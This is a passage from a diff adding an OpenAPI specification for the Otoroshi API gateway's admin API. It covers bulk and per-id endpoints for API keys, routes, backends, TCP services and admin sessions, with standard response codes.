"summary" : "Update (using json-patch) multiple Apikey at the same time", + "operationId" : "apim.otoroshi.io.Apikey.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Delete multiple Apikey at the same time", + "operationId" : "apim.otoroshi.io.Apikey.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-module-users/_template" : { + "get" : { + "tags" : [ "auth-module-user", "security.otoroshi.io" ], + "summary" : "Return a template of a resource of kind AuthModuleUser", + "operationId" : "security.otoroshi.io.AuthModuleUser.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind AuthModuleUser", + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModuleUser" + } + } + } + } + } + } + }, + "/api/audit/events" : { + "get" : { + "tags" : [ "events" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.EventsController.auditEvents", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/foo.extensions.otoroshi.io/v1/foos/{id}" : { + "get" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Find resource of kind Foo by its id", + "operationId" : "foo.extensions.otoroshi.io.Foo.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Foo", + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + } + }, + "put" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Updates a specific Foo using its id", + "operationId" : "foo.extensions.otoroshi.io.Foo.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + }, + "patch" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Foo using its id", + "operationId" : "foo.extensions.otoroshi.io.Foo.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + }, + "delete" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Deletes a specific Foo using its id", + "operationId" : "foo.extensions.otoroshi.io.Foo.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/backends/_bulk" : { + "post" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Create multiple Backend at the same time", + "operationId" : "proxy.otoroshi.io.Backend.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + } + }, + "put" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Update multiple Backend at the same time", + "operationId" : "proxy.otoroshi.io.Backend.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple Backend at the same time", + "operationId" : "proxy.otoroshi.io.Backend.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Delete multiple Backend at the same time", + "operationId" : "proxy.otoroshi.io.Backend.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/routes/_bulk" : { + "post" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Create multiple Route at the same time", + "operationId" : "proxy.otoroshi.io.Route.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + } + }, + "put" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Update multiple Route at the same time", + "operationId" : "proxy.otoroshi.io.Route.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple Route at the same time", + "operationId" : "proxy.otoroshi.io.Route.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Delete multiple Route at the same time", + "operationId" : "proxy.otoroshi.io.Route.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/api/cluster/state/ws" : { + "get" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.stateWs", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/api/cluster/sessions" : { + "post" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.createSession", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/tcp-services/{id}" : { + "get" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Find resource of kind TcpService by its id", + "operationId" : "proxy.otoroshi.io.TcpService.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind TcpService", + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + } + }, + "put" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Updates a specific TcpService using its id", + "operationId" : "proxy.otoroshi.io.TcpService.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + }, + "patch" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific TcpService using its id", + "operationId" : "proxy.otoroshi.io.TcpService.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + }, + "delete" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Deletes a specific TcpService using its id", + "operationId" : "proxy.otoroshi.io.TcpService.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/routes" : { + "get" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Find all possible Route entities", + "operationId" : "proxy.otoroshi.io.Route.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Creates a Route", + "operationId" : "proxy.otoroshi.io.Route.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + } + }, + "/apis/config.otoroshi.io/v1/global-configs/_count" : { + "get" : { + "tags" : [ "global-config", "config.otoroshi.io" ], + "summary" : "Get number of entity of kind GlobalConfig", + "operationId" : "config.otoroshi.io.GlobalConfig.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/tunnels" : { + "get" : { + "tags" : [ "tunnels" ], + "summary" : "???", + "operationId" : "otoroshi.next.tunnel.TunnelController.tunnelInfos", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admin-sessions/{id}" : { + "get" : { + "tags" : [ "admin-session", "security.otoroshi.io" ], + "summary" : "Find resource of kind AdminSession by its id", + "operationId" : "security.otoroshi.io.AdminSession.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" 